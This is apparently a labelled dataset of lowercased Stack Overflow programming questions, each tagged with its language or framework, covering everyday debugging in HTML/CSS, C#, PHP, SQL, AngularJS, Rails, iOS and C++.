different browser and os render different the fonts is causing absolute divs to look differently  i m working on a web site which content and positioning of the elements loads from database  each element (text  form  images) loads inside a div with absolute positioning  using the top attribute of the div for vertical psition. it works fine most of the time and the elements render and look how they suppose to. how ever when i load large amount of text on a div element the space between the content and the div changes in different os  or browser versions  im not sure which but i think its on different os because firefox 3.6.17 look different on windos xp and mac os.    im pretty sure its because the fonts are reendered different in different browser which cause this inconsistence.    problem comes when i want to show another element below the first content  the space between them changes heavily  causing that in some os/browser the second element looks way bellow the content  and so some people don´t look at this second element because they think the page is over.    however the div them self are well positioned <img src= https://i.stack.imgur.com/qf52j.jpg  alt= windowss ie8 > <img src= https://i.stack.imgur.com/klhjn.png  alt= macos safari >    i was looking into google webfont loader  but i think this solution only focus in the loading process of a font and uses javascript to make them behave the same  but not look the same. it still needs some tests  but it occurred to me that the only way to fix this is with javascript  and i was wondering if some one have encounter a similar problem  or if you have a suggestion  cause it would be of great use for us! thank you!,html
why does double return this value  c# <pre><code>double sth = 250 - 249.99; console.writeline(sth); </code></pre>   why does this return <code>sth</code> like <strong>0.009994507</strong>  instead of <strong>0.01</strong>,c#
php: $_server[ redirect_url ] vs $_server[ request_uri ]  i printed $_server  and i found out that $<code>_server[ redirect_url ]</code> vs <code>$_server[ request_uri ]</code> both have same values. what s the difference between the two,php
how to make this part of my layout work   how can i make this part of my layout work     i can t work out how to fix this. its become so messy and confusing.   <pre><code>    &lt;div style= width: 900px; margin:0 auto &gt;&lt;div style= float: left; width: 312px; height: 197px; background-color: #a857bc &gt;&lt;/div&gt;     &lt;div style= float: left; width: 249px; height: 197px; background-color: #ff80c0 &gt;&lt;/div&gt;     &lt;div style= float: left; width: 339px; height: 197px; background-color: #8c83fc &gt;&lt;/div&gt;     &lt;/div&gt;&lt;div style= margin:50px;background-color: #99cccc; margin-top:-150px;height:100px;  &gt;this should be in the middle&lt;/div&gt;  &lt;/div&gt;      &lt;div style= width: 900px; margin:0 auto &gt;&lt;div style= float: left; width: 362px; height: 197px; background-color: #a857bc &gt;&lt;/div&gt;     &lt;div style= float: left; width: 147px; height: 197px; background-color: #ff80c0 &gt;&lt;/div&gt;     &lt;div style= float: left; width: 391px; height: 197px; background-color: #8c83fc &gt;&lt;/div&gt;     &lt;/div&gt;&lt;div style= margin:50px;background-color: #99cccc; margin-top:-150px;height:100px;  &gt;this should be in the middle&lt;/div&gt; &lt;/div&gt; </code></pre>,html
inputting a file line by line into a structure  i am having problems in putting lines of a file into a structure. it is inputting the same line over and over again. here is the function     <pre><code>bool readinventory(string filename) { int answer= false; ifstream openfile;  openfile.open(filename);  if(!openfile.eof()) {     products *pproducts;     pproducts = new products[21];       for(int i=0; i&lt;5; i++)     {          openfile &gt;&gt; pproducts[i].plu;         openfile &gt;&gt; pproducts[i].name;         openfile &gt;&gt; pproducts[i].opption;         openfile &gt;&gt; pproducts[i].price;         openfile &gt;&gt; pproducts[i].amount;     }      for(int i=0; i&lt;5; i++)     {         cout &lt;&lt; pproducts-&gt;plu&lt;&lt;endl;         cout &lt;&lt; pproducts-&gt;name&lt;&lt;endl;         cout &lt;&lt; pproducts-&gt;opption&lt;&lt;endl;         cout &lt;&lt; pproducts-&gt;price&lt;&lt;endl;         cout &lt;&lt; pproducts-&gt;amount&lt;&lt;endl;     }      answer=true;      openfile.close(); } return(answer);   4101 braeburn_reg 1 0.99 101.5  4021 delicious_gdn_reg 1 0.89 94.2  4020 delicious_gldn_lg 1 1.09 84.2  4015 delicious_red_reg 1 1.19 75.3  4016 delicious_red_lg 1 1.29 45.6 </code></pre>   any help would be appreciated.,c++
filewatcher created event  i am monitoring a folder with a .net filewatcher for certain kind of files(*.mbxml). i am using the created event of filewatcher for it. once the created event fires i have to move this file to another folder. the problem with this approach is that the created event is fired as soon as the file copying starts. so if the file is taking too long to copy to the folder being watched  the code that moves the file fails. i ve searched and the only solution i found on the net was that you move the file within a try-catch block and keep trying until the whole file is copied. i don t like this solution  it would ve been better if the created event was fired once the whole file had finished copying or there was a separate event for it. is there another way of achieving this,.net
how can i seperate ip s when written to a file  ok this is my last resort.  i was going to write a python script that would generate ip addresses when given a range.  i decided to scour the internet and see if someone else had already done so.  i found a script here <a href= http://cmikavac.net/2011/09/11/how-to-generate-an-ip-range-list-in-python/  rel= nofollow >http://cmikavac.net/2011/09/11/how-to-generate-an-ip-range-list-in-python/</a>.  im trying to write the ip s it generates to a file.  i cannot seem to get them to separate by line  rather they all conglomerate together. anyone smarter than i figure this out lol.   <pre><code>def iprange(start_ip  end_ip):    start = list(map(int  start_ip.split( . )))    end = list(map(int  end_ip.split( . )))    ip_range = []     ip_range.append(start_ip)    while start != end:       start[3] += 1       for i in (3  2  1):          if start[i] == 256:             start[i] = 0             start[i-1] += 1       ip_range.append( . .join(map(str  start)))         return ip_range   # range here ip_range = iprange( 192.168.1.0    192.171.3.25 ) f = open( iplist    w ) for ip in ip_range:    f.write(ip)    f.close </code></pre>,python
paperclip using s3  i m trying to use paperclip gem and store the documents on amazon s3.    in my gemfile  i have:   <pre><code>gem  paperclip  gem  aws-s3  </code></pre>   in my model  i have (with the correct bucket and keys):   <pre><code>  has_attached_file :attach    :storage =&gt; :s3    :bucket =&gt; env[ mybucket ]    :s3_credentials =&gt; {     :access_key_id =&gt; env[ mykey ]      :secret_access_key =&gt; env[ mysecretkey ]   } </code></pre>   but  i get the following error:   <pre><code>missing credentials </code></pre>   any ideas,ruby-on-rails
service injection into controller with angularjs  i have written a service in angularjs  but i can t get it to work with the angular-seed way of doing things.    the controller code is as follows:   <pre><code>/*function photoctrl($scope  photo) {     $scope.photos = photo.query(); }*/  angular.module( myapp.controllers   []).     controller( photoctrl   [function($scope photo) {     $scope.photos = photo.query(); }]) .controller( myctrl2   [function() {  }]); </code></pre>   note that the commented out section works fine  but i would like to handle it somewhat like the (recommended) second way.    the error i get is that photo is undefined  so my guess would be my method of passing (injecting) it is wrong  but i can t find out how to do it correctly,angularjs
how to find out the touch screen position  i am developing one application. in that i am using one uiimageview and i am changing the position of the uiimageview every 0.5 seconds using below code.   <pre><code>[nstimer scheduledtimerwithtimeinterval:0.5                                  target: self                                selector:@selector(moveimage)                                userinfo: nil repeats:yes]; -(void) moveimage {    //[image1 setcenter: cgpointmake(634  126)];    cgfloat x = (cgfloat) (arc4random() % (int) self.view.bounds.size.width);    cgfloat y = (cgfloat) (arc4random() % (int) self.view.bounds.size.height);    cgpoint squarepostion = cgpointmake(x  y);    img.center=squarepostion; }  </code></pre>   now i can touch the screen. what i need to find out is my touch location and that imageview location both are correct or not.,iphone
how to convert only letters to uppercase from string php   i want to convert from :    <code>a12b89</code> to <code>a12b89</code>.    i tried with strtoupper but it s not working. is that function only if i have letters without numbers  thanks.,php
stack concept with array of object in c++ <pre><code>#include&lt;iostream.h&gt;  using namespace std;  class staticdemo {   static int rollno;   string name;  public:   staticdemo()   {     cout&lt;&lt; name:  ;     getline(cin name);     rollno++;   }   int getname()   {     cout&lt;&lt;name;     return 0;   }   static int getvalu()   {     return rollno;   }  }; int staticdemo::rollno=10;  int main() {   int i n;   cout&lt;&lt; enter the number of studentd: ;   cin&gt;&gt;n;   staticdemo s[n];   for(i=0;i&lt;n;i++)   {     cout&lt;&lt; name: &lt;&lt;s[i].getname();     cout&lt;&lt; \nroll no:  &lt;&lt;s[i].getvalu();   }   system( pause );   return 0; } </code></pre>   i learning c++  i have a doubt in stack with array of object concept  in my above program i get the names from user and rollno incremented through stack  while i retrieving list <strong>back it will give finally updated stack value  how to get the fully updated rollno values </strong>  (how to display the unique rollno for every names)  pls post your valuable solution,c++
using serialisable object from internal strorage leads to memory leak  how to avoid  i searched a solution but i didn t find it. i write an arraylist containing my name object to a file  and the retrieved arraylist will later be used by different activities for the same purpose. this object is a separate class in a separate package. i write the arraylist with objectoutputstream and  then close the fileoutpoutstream and objectoutputstream. i do it many times in an activity  s lifetime.    the object is like :   <pre><code>public class name implements serializable{  private static final long serialversionuid = 7526472295622776147l; string name; int id;  public name (string name  int id){      this.name = name;     this.id = id; }  public string getname(){     return this.name; }      public string getid(){     return this.id; } </code></pre>   when i want to retrieve it  i create a new arraylist of name object and use objectinputstream to add elements by doing   <pre><code>arraylist&lt;name&gt; array = new arraylist&lt;name&gt;(); array.addall((arraylist&lt;name&gt;)ois.readobject()); </code></pre>   i avoided doing    <pre><code>array = (arraylist&lt;name&gt;) ois.readobject();  </code></pre>   i thought there will be no reference this way.    i then close the fileinputstream and objectinputstream. i do this many times in an activity s lifecycle as well.    when i check mat with eclipse  the histogram shows that memory contains many name objects and thus  block the activities to destroy themself.    i tried to reset() streams before closing them  i tried the opposite too  tried to only reset() whithout closing  i tried the same ondestroy()  but every actions lead to exceptions and unwanted behaviors.    changing the serial doesn t work to  it doesn t write or gives exceptions so it seems that the serial must remain static and must not be removed.    how should i deal whith this  considering that this arraylist must be stocked on the storage and shared with different activities  should i use sharedpreferences instead or something else,android
sql select statement with different where statements  i am trying to create a select count statement where the where statement is different for each row.<br> for example i got the following table called dbo.job:   <pre><code>user:    job: mark     garbageman dirk     garbageman henk     garbageman steven   garbageman mark     delivery dirk     delivery henk     delivery steven   delivery stevens  delivery </code></pre>   now i want to know how many user i got in table  job  with the job of garbageman  for this i use:   <pre><code>select count(user) as count from job where job.job =  garbageman   </code></pre>   i will get the following result:   <pre><code>count: 4 </code></pre>   now i also want to know how many users got the job of delivery in the same select statement  i will get something like:   <pre><code>select count(user) as garbagecount  count(user) as deliverycount from job where job.job =  garbageman   </code></pre>   now i will get the following result:   <pre><code>garbagecount:   delivrycount: 4               4 </code></pre>   but i want:    now i will get the following result:   <pre><code>garbagecount:   delivrycount: 4               5 </code></pre>   i know why my statement fails  that s because i am only using 1 where statement. but the where statement of both garbagecount and deliverycount are different. and i have simply no clue how to create a query like that.    someone has any suggestions,sql
angularjs. ng-messages-multiple not working  hello i have a problem with this directive does not show me the multiple message   only one by one  i would like to show me the two messages in the same div here example here an example of my problem problem,angularjs
when in the page lifecycle is the viewstate collection available   when <em>exactly</em> is the view state accessible from the .viewstate property of a control  from my observations  the closest event is on the page.preload event (at page.initcomplete  viewstate is still unavailable).    however  for controls that implement the ipostbackeventhandler interface the loadvalue() method is called and the .viewstate collection is available (this occurs after page.initcomplete and before page.preload).    does anyone know of any additional events that can be used to know when viewstate is available  or any tricks (not excluding reflection on private/protected/internal members) that can be used to know if the viewstate has loaded or not,asp.net
rails geocoder - still learning  i m sure it s a simply issue due to me not fully understanding how bits fit together in rails...    i ve followed the <a href= http://railscasts.com/episodes/273-geocoder  rel= noreferrer >rails cast</a> but i m having trouble implementing it into my app (i ve had it working stand-alone).    the error i get is    <blockquote>    undefined method `nearbys   </blockquote>   here s what i ve got: user.rb     <pre><code>  geocoded_by :full_address      after_validation :geocode    def full_address     [address1  address2  address3  city  country  postcode].compact.join(    )      end </code></pre>   users_controller.rb   <pre><code>def index     @title =  all users       if params[:search].present        @users = user.near(params[:search]  50  :order =&gt; :distance)     else       @users = user.all     end end </code></pre>   index.html.erb   <pre><code>&lt;h3&gt;nearby locations&lt;/h3&gt; &lt;ul&gt; &lt;% for user in @users.nearbys(10) %&gt;   &lt;li&gt;&lt;%= link_to user.address1  user %&gt; (&lt;%= user.distance.round(2) %&gt; miles)&lt;/li&gt; &lt;% end %&gt; &lt;/ul&gt; </code></pre>   _sidebar.html.erb   <pre><code>            &lt;%= form_tag users_path  :method =&gt; :get do %&gt;                 &lt;p&gt;                 &lt;%= text_field_tag :search  params[:search] %&gt;                 &lt;%= submit_tag  search near   :name =&gt; nil %&gt;                 &lt;/p&gt;             &lt;% end %&gt; </code></pre>   thanks    if i comment out the .nearbys    <pre><code>&lt;% for user in @users#.nearbys(10) %&gt;   &lt;li&gt;&lt;%= link_to user.latitude  user %&gt; (&lt;%= user.distance.round(2) %&gt; miles)&lt;/li&gt; &lt;% end %&gt; </code></pre>   the search works. could this be a problem with the install of geocoder,ruby-on-rails
how work mp3 steaming from url <pre><code>  private mediaplayer mp = new mediaplayer();   mp.reset();                          mp.setdatasource( http://thesixteendigital.com.s3.amazonaws.com/testfiles/hallelujah.mp3 );   mp.prepare();   mp.start(); </code></pre>   i am following this code .but not working <img src= https://i.stack.imgur.com/omucf.jpg  alt= enter image description here >,android
contradicting frameworks on -objc  so in my project i have the facebooksdk  the parsesdk and firebasesdk. facebook and parse both need bolts  so i implemented that. however it will not compile unless i remove the -objc flag. the problem is that if i remove this tag  the code will compile  but it will cause a runtime error when trying to initialise firebase because it requires -objc. i am in a mess. can i set the flag only for that specific framework  thanks for any help.,ios
html: li and a href  so i have styled my ul li  it comes in a dropdown box and when you mark over each li it a:hover with purple. now in each li there´s a name. i want to make it all a link  so when you click anywhere in the marked li you go to the link.    right now  when you click somewhere in the li nothing happens  only if you click on the name in the li..    here s my code:   <pre><code>  echo  &lt;a href= profil.php id= .$result-&gt;id.  &gt;&lt;li onclick= fill(\  .addslashes($result-&gt;full_name). \ ); &gt; .$result-&gt;full_name. &lt;/li&gt;&lt;/a&gt; ; </code></pre>   how do i do this    <pre><code>    .suggestionsbox {     position: absolute;     left: 0px;     top: 10px;     margin: 26px 0px 0px 0px;     width: 200px;     padding:0px;     background-color: #000;     border-top: 3px solid #000;     color: #fff; } .suggestionlist {     margin: 0px;     padding: 0px; } .suggestionlist ul li {     list-style:none;     margin: 0px;     padding: 6px;     border-bottom:1px dotted #5a2156;     cursor: pointer; } .suggestionlist ul li:hover {     background-color: #5a2156;     color:#000; } ul {     font-family:arial  helvetica  sans-serif;     font-size:11px;     color:#fff;     padding:0;     margin:0; } </code></pre>,html
parsing the ipv4 address from this string   i am using a networking api that gives me client ip s like this:   <pre><code>[::ffff:127.0.0.1]:54222:54222 </code></pre>   i need to be able to detect if 2 clients are trying to connect from the same ip address. i do not allow more than one. for this  i need to parse the ipv4 portion of this string.    i m just not sure how.    i can t just do a simple substring to get this.    thanks    edit: i cannot just use the entire string because that will  be unique per client rather than per ip address.,c++
rename variable in c#  i want to change the variable name to the string i entered.    for example :   <pre><code>public int myvariable; public string name= myname ; </code></pre>   i want rename  myvariable  to  myname .how,c#
object doesnt support this property or method in javascript <pre><code>function add(id) {     var tempid=document.getelementbyid(id);     var patterm=/@/;     var value=tempid.match(patterm);  // this is where i m getting the error     if(value==null)     {         var length=document.getelementbyid(id).length();          tempid=tempid.setchatat(length+1  @messung.com );     }     else     {     } }    </code></pre>,javascript
ios jsonmodel json instance  i am attempting to use this <a href= https://github.com/icanzilb/jsonmodel  rel= nofollow >jsonmodel library</a> in an app i m building. i ve been following <a href= http://www.touch-code-magazine.com/how-to-fetch-and-parse-json-by-using-data-models/  rel= nofollow >this article</a>  but for some reason i keep getting (null) when attempting to parse the json string. i was told that it is because i m not creating a json instance; but it seems to me i am. below is the code  can anyone see what i m missing  i m attempting to use <a href= http://qa.shiftzen.com/ws/schedutils.asmx op=getdailyview  rel= nofollow >this web service</a>  with these inputs:      emailaddress: wufpakjack@yahoo.com;      password: test;      companyid: 2579;      scheduledate: 20140415.    myshiftmodel.h   <pre><code>#import  jsonmodel.h   @interface myshiftmodel : jsonmodel  @property (assign  nonatomic) nsstring *shiftname; @property (assign  nonatomic) nsstring *shiftstarttime; @property (assign  nonatomic) nsstring *shiftposition;  @end </code></pre>   dailyviewmodel.h   <pre><code>#import  jsonmodel.h  #import  myshiftmodel.h   @protocol dailyviewmodel @end  @interface dailyviewmodel : jsonmodel  @property (assign  nonatomic) int numavailablexchanges; @property (strong  nonatomic) nsstring *todaysforecast; @property (assign  nonatomic) int todaystemperature; @property (strong  nonatomic) myshiftmodel *workshift;  @end </code></pre>   dailyfeed.h   <pre><code>#import  jsonmodel.h  #import  dailyviewmodel.h   @interface dailyfeed : jsonmodel  @property (strong  nonatomic) nsarray &lt;dailyviewmodel&gt; *workshifts;  @end </code></pre>   mainviewcontroller.m   <pre><code>#import  mainviewcontroller.h  #import  jsonmodellib.h  #import  jsonmodel+networking.h  #import  dailyfeed.h    @interface mainviewcontroller () {     dailyfeed *feed; } @end  @implementation mainviewcontroller  - (void)viewdidappear:(bool)animated {     nsstring *email = [[nsstring alloc]initwithformat:@ wufpakjack@yahoo.com ];     nsstring *pass = [[nsstring alloc]initwithformat:@ test ];     nsstring *compid = [[nsstring alloc]initwithformat:@ 2579 ];     nsstring *date = [[nsstring alloc]initwithformat:@ 20140415 ];      nsstring *urlstring = [nsstring stringwithformat:@ http://qa.shiftzen.com/ws/schedutils.asmx/getdailyview emailaddress=%@&amp;password=%@&amp;companyid=%@&amp;scheduledate=%@   email pass compid date];     nslog(@ %@   urlstring);      [jsonhttpclient getjsonfromurlwithstring:urlstring                                   completion:^(nsdictionary *json  jsonmodelerror *err) {                                        nserror* error = nil;                                       feed = [[dailyfeed alloc] initwithdictionary:json error:&amp;error];                                        nslog(@ shifts: %@   feed.workshifts);                                    }]; } @end </code></pre>   any guidance would be greatly appreciated.    warmest regards  db,ios
a wide div with unlimited width  i ve a big problem!    you know  a <code>div</code> default <code>width</code> is <code>100%</code> (of the parent). and if its content width is more than 100% (100%=1440px)  <code>div</code> shows content in multiply lines.    now  if i want  the div shows its content in one line  what should i do  look at the simple code::   <pre><code>&lt;div&gt;     &lt;div&gt;aaa&lt;/div&gt;     &lt;div&gt;bbb&lt;/div&gt;     &lt;div&gt;ccc&lt;/div&gt;     &lt;div&gt;ddd&lt;/div&gt;     ......(more than 100 other div  with unknown width) &lt;/div&gt; </code></pre>   note: i don t know the content width.    i tried <code>display: inline;</code> and <code>display: inline-block;</code> and <code>display: table;</code>. they didn t work.    note 2: i tried <code>display: -moz-box;</code>. it works  but only in firefox! thanks ...,css
convert an image_tag to a view helper in rails  so i m using the following in both my show and index:   <pre><code> &lt;%= image_tag posts.avatar(:large)  alt:  avatar for #{posts.title}   class:  img-responsive  %&gt; </code></pre>   since they are the same in both i m trying to move them to a view helper. then in my views i m putting:   <pre><code>&lt;%= post_image_tag %&gt; </code></pre>   my initial take was the following:   <pre><code>def post_image_tag  image_tag posts.avatar(:large)  alt:  avatar for #{posts.title}   class:  img-responsive  end </code></pre>   i end up with : undefined local variable or method `posts  for #&lt;#:0x007fcdd273e860> did you mean   @posts    cool. so i change it to:    <pre><code>def post_image_tag  image_tag @posts.avatar(:large)  alt:  avatar for #{posts.title}   class:  img-responsive  end </code></pre>   now i end up with: undefined method `avatar .    so i decided that it might just be that i m not referencing it correctly and trying to pull activerecord on a single post so i try:   <pre><code>def post_image_tag   @posts.each do |posts|   image_tag posts.avatar(:large)  alt:  avatar for #{posts.title}   class:  img-responsive   end end </code></pre>   at this point something finally renders on the page. except it looks like an html nightmare with:    <pre><code>[#&lt;spudpost id: 1  spud_user_id: 2  title:  the top    content:  &lt;!doctype html public \ -//w3c//dtd html 4.0 transi...   comments_enabled: false  visible: true  published_at:  2018-01-30 14:45:58   created_at:  2018-02-05 17:41:42   updated_at:  2018-02-05 17:41:42   url_name:  the-top   is_news: false  meta_keywords: nil  meta_description: nil  content_format:  html   content_processed: nil  blog_key:  blog   custom_author: nil  identifier:  9b0d97c9-6855-4ad6-85ac-cade6012b5de   avatar_file_name:  ice.jpg   avatar_content_type:  image/jpeg   avatar_file_size: 68494  avatar_updated_at:  2018-02-05 17:41:40 &gt;   </code></pre>   it goes further repeating the next item and the next  etc. what in the world can i put on the image_tag to make it render correctly  i ve also tried changing the view helper in my view to:   <pre><code>&lt;%= raw(post_image_tag)%&gt; </code></pre>   then i end up with [#  #  #  #],ruby-on-rails
error in calling and calculate function with int  as input  i have a function like that :   <pre><code>public int  calculatecontractprice(int  comid) {     int  sum = 0;     var q = from i in dbconnect.tblmaterialgroups             where i.tenderid == _tenderid             select i.id;     foreach (int i in q )     {         var q2 = from g in dbconnect.tblmaterialtenderannounceprices                  where g.materialgroupid == i &amp;&amp; g.companyid == comid                  select g;         sum = q2.first().amount*q2.first().price + q2.first().amount*q2.first().priceforelse + sum;       }     return sum ; } </code></pre>   when i try to execute this :   <pre><code>list&lt;presentationcontract&gt; q = (from i in dbconnect.tblcontracts                                 where i.tender == _tenderid                                 select new presentationcontract()                                     {                                                                                      tax =(calculatecontractprice(i.companyid)*(6/100)).tostring()                                      }).tolist(); </code></pre>   tax is <strong>string</strong> .after executing i got this error :   <pre><code>couldn t translate expression calculatecontractprice(i.companyid)*(6/100) invoke(value(system.func1[system.nullable1[system.int32]]))).tostring() into sql and could not treat it as a local expression  </code></pre>,c#
is this a bad practice in overloading a method   i had a method like this that its consumers are calling it:   <pre><code>static public void displayordercomments(param1  param2  param3  param4) </code></pre>   now i added an overload for it like this:   <pre><code>static public void displayordercomments(param1  param2  param3  param4  param5) {     displayordercomments(param1  param2  param3  param4);     param5.foo(); } </code></pre>   is it a bad practice  are there better ways of doing it,c#
issue with simple text framing  basically  i m trying to create a frame around text and on the third line where the text goes  it doesn t print out the # that s supposed to be the  padding  around it.   <pre><code>****************** *################* *#hello  justin!* *################* ****************** </code></pre>   that s what it looks like - after the ! in the $greeting variable  there should be a #. the code is below  could anyone explain why this happens    <pre><code>&lt;html&gt; &lt;body&gt;&lt; php     $pad = 1;     $rows = ($pad * 2) + 3;     $greeting =  hello  justin! ;     $col = strlen($greeting) + (2 * $pad) + 2;   for ($r = 0; $r != $rows; ++$r) {     for ($c = 0; $c != $col; ++$c)     {         if ($r == $pad + 1 &amp;&amp; $c == $pad + 1)         {             echo $greeting;             $c += strlen($greeting);             //echo  # ;         }         else          {             if ($r == 0 || $r == $rows - 1 || $c == 0 || $c == $col - 1)                 echo  * ;             else                 echo  # ;         }     }     echo  &lt;br /&gt; ; }  &gt;&lt;/body&gt; &lt;/html&gt; </code></pre>,php
window.print in jquery  i have a jquery dialog with scrollable option i want to print the content of the dialog. if i use <code>window.print()</code> method it just print the showed content. the remaining scrollable content are unable to print. please help me to solve this problem.,css
can i add more xmlns attribute   usually my page is defined as :   <pre><code>&lt;!doctype html public  -//w3c//dtd xhtml 1.1//en   http://www.w3.org/tr/xhtml11/dtd/xhtml11.dtd &gt; &lt;html xmlns= http://www.w3.org/1999/xhtml  xml:lang= it &gt; </code></pre>   but using a facebook plugin  it says :   <pre><code>add an xml namespace to the &lt;html&gt; tag of your document. this is necessary for xfbml to work in earlier versions of internet explorer.  &lt;html xmlns:fb= http://ogp.me/ns/fb# &gt; </code></pre>   so i wrote :   <pre><code>&lt;html xmlns= http://www.w3.org/1999/xhtml  xmlns:fb= http://ogp.me/ns/fb#  xml:lang= it &gt; </code></pre>   is this correct  or html document need only 1 xmlns,html
can arrays be stored in an asp.net profile   imagine an asp.net website which displays stock prices when a user logs in.  can the list of stock ticker symbols be stored in an asp.net profile   i only see how to add strings  etc.  and not collections like lists or arrays.,asp.net
how to select the relation between column sql  table1    <a href= https://i.stack.imgur.com/auzu2.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/auzu2.png  alt= enter image description here ></a>    how do i select all relation using value 5 as variable.    i need result to return value as below result    <a href= https://i.stack.imgur.com/n1i1d.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/n1i1d.png  alt= enter image description here ></a>    below is sample that i have dont but i unable to get all relation :   <pre><code>declare @variable as varchar(200) = 5 select [id1] from [table] where id2 = @variable or id2 in (select [id1] from [table] where id2 = @variable ) </code></pre>,sql
why do i declare properties twice  or do i   sorry for the kind of useless post title  but since i m not really sure what i am doing  that was the best i could come up with.    in my header file it looks like this   <pre><code>@interface rootviewcontroller : uitableviewcontroller { nsmutablearray *eventsarray;     }  @property (nonatomic  retain) nsmutablearray *eventsarray;  @end </code></pre>   this is not all the properties but i removed all but one for simplicity.    i m doing this by following a guide from apple developer. it seems as though the guide is not totally updated since it tells me to synthesize properties  wich i should not have to anymore right     anyways  why is it like this  to me  a beginner at this  it seems as though i declare the property twice  or do i do something else at the first row there,objective-c
how to invoke static method from c# class without creating instance  i have code like this:    <pre><code>class program     {         static void main(string[] args)         {             assembly myasm = assembly.loadfile(@ c:\some.dll );             type myservice = myasm.gettype( someclass );             string s = (string) myservice.invokemember( somemethod   bindingflags.invokemethod  | bindingflags.public      null  null  new object[] { myparam });         }     } </code></pre>   in some.dll there is public static method somemethod with string param returning string  but i get method missing error...,c#
how do i extract text in between  <>   i ve been trying extract text from a text file if they are not between a  &lt;> . at the same time  i want the extracted words to be printed on a new line.    this is the question: <code>write a program that extracts from an xml file the text only (without the tags)</code>    sample input:  <code>&lt; xml version= 1.0 &gt;&lt;student&gt;&lt;name&gt;peter&lt;/name&gt;&lt;age&gt;21&lt;/age&gt;&lt;interests count= 3 &gt;&lt;interest&gt;games&lt;/interest&gt;&lt;interest&gt;c#&lt;/interest&gt;</code>    desired output:    <code> peter 21 games c# java</code>    my current input is like this:   <pre><code>peter  21    games  c#   java </code></pre>   there are empty lines in between.    this is what my code looks like at the moment. any help would be appreciated!  and if you were wondering  this is self study-homework. so i don t need hand this in. i m not cheating.   <pre><code>    using system;     using system.collections.generic;     using system.io;     using system.text;      namespace chapter_15_question_10     {         class program         {     static void main(string[] args)     {         console.writeline( this app extracts the words not in tags );          streamreader reader = new streamreader(             @ c:\users\nate\documents\visual studio 2015\projects\chapter 15\chapter 15 question 10\chapter 15 question 10\textfile1.txt );          stringbuilder sb = new stringbuilder();          using (reader)         {             string line = reader.readtoend();             bool isopen = false;             for (int i = 1; i &lt; line.length; i++)             {                  if (line[i-1] ==  &lt; )                 {                     isopen = true;                 }                  if (line[i-1] ==  &gt; )                 {                     isopen = false;                 }                  if (isopen)                 {                     continue;                 }                  if (!(isopen) &amp;&amp; (line[i] !=  &lt; ))                     console.write(line[i]);                 if(line[i] ==  &lt; )                     console.writeline();             }         }     } } </code></pre>   },c#
find field with highest record  i have this table:    server_records: id int (auto_increment)  record int  time int    if i wanna get the field with the highest record how do i do that    <pre><code>select `record` from `server_records` where `record` = highest ! </code></pre>,sql
know if a date(weekday) is bettween two other dates(weekedaysº)  im trying to know if the current day of the week + and hour is in between of 2 other weekday + hour.    let s say  right now is  tuesday 16:26  and there is an interval that starts with  tuesday 16:00  and  tuesday 22:00  so it should return yes.    im creating dates from the previous strings  and this function tells me if it s in the interval. this function is part of a class  whose attributes  fechainicio  and  fechafin  are start date and end adate respectively.   <pre><code>- (bool)dateininterval:(nsdate *)testdate {     // date1 is the instance variable containing the starting date     // date2 is the instance variable containing the ending date     nsdateformatter* dateformatter = [[nsdateformatter alloc] init];     [dateformatter setlocale:[[[nslocale alloc] initwithlocaleidentifier:@ en ] autorelease]];     [dateformatter setdateformat:@ eeee hh:mm ];         nsstring *datestring = [dateformatter stringfromdate:self.fechainicio];      nslog(@ la fecha es: %@   datestring);      datestring = [dateformatter stringfromdate:self.fechafin];      nslog(@ la fecha es: %@   datestring);      nslog(@ time interval nicio: %d   [testdate timeintervalsincedate:self.fechainicio]);     nslog(@ time interval fin: %d   [testdate timeintervalsincedate:self.fechafin]);      return ([testdate timeintervalsincedate:self.fechainicio] &gt; 0 &amp;&amp;             [testdate timeintervalsincedate:self.fechafin] &lt; 0); } </code></pre>   the thing is that in never returns yes  even though i can see the date is in the interval. im afraid how im turning the string to date. i input  tuesday 16:00  what year is it  what month  if i format the actual date to  eeee hh  will it save the month and year     thanks,objective-c
angularjs repeater iterates too many times  so i got this html:   <pre><code>&lt;body ng-app= pastaapp &gt; &lt;div class= container &gt;     &lt;div class= row &gt;         &lt;div ng-controller= dataservice &gt;             &lt;ul&gt;                 &lt;li ng-repeat= post in testapi &gt;{{post.title}}&lt;/li&gt;             &lt;/ul&gt;         &lt;/div&gt;     &lt;/div&gt; &lt;/div&gt; &lt;script src= app.js &gt;&lt;/script&gt; </code></pre>       and this in my app.js:   <pre><code>pastaapp.controller( dataservice   function ($scope  $http) {     $http({       method:  get         url:  https://jsonplaceholder.typicode.com/posts/100     }).then(function (success){         $scope.testapi = success;    } function (error){         //    }); }); </code></pre>   and i suspected it to give me one li  but it gave me 5. it gives me this html:   <pre><code>&lt;ul&gt; &lt;!-- ngrepeat: post in testapi --&gt; &lt;li ng-repeat= post in testapi  class= ng-binding ng-scope &gt;at nam consequatur ea labore ea harum&lt;/li&gt; &lt;!-- end ngrepeat: post in testapi --&gt; &lt;li ng-repeat= post in testapi  class= ng-binding ng-scope &gt;&lt;/li&gt; &lt;!-- end ngrepeat: post in testapi --&gt; &lt;li ng-repeat= post in testapi  class= ng-binding ng-scope &gt;&lt;/li&gt; &lt;!-- end ngrepeat: post in testapi --&gt; &lt;li ng-repeat= post in testapi  class= ng-binding ng-scope &gt;&lt;/li&gt;&lt;!-- end ngrepeat: post in testapi --&gt; &lt;li ng-repeat= post in testapi  class= ng-binding ng-scope &gt;&lt;/li&gt; &lt;!-- end ngrepeat: post in testapi --&gt; &lt;li ng-repeat= post in testapi  class= ng-binding ng-scope &gt;&lt;/li&gt; &lt;!-- end ngrepeat: post in testapi --&gt; &lt;/ul&gt; </code></pre>   i get too many loops. there might be a simple fix  but i m new to this.    i ve looked at some fixes like ng-class and such  but it doesn t work.,angularjs
remove dulicate row when grid is bind with sepcific condition  i want delete duplicate some rows from data table with which is coming on specific date.i have write code.     i have table which holds package name and date. then i want which package is coming on same date they will remove. how i can do it. my code is given below:   <pre><code>column name is : vspackagename second column : date  </code></pre>   i am not able to put date column.    problem    this time package is delete from table but all dates.and what i want is if packages is commming on 14 aug 2013 3 time.then it should remove and show only one row  not three row,asp.net
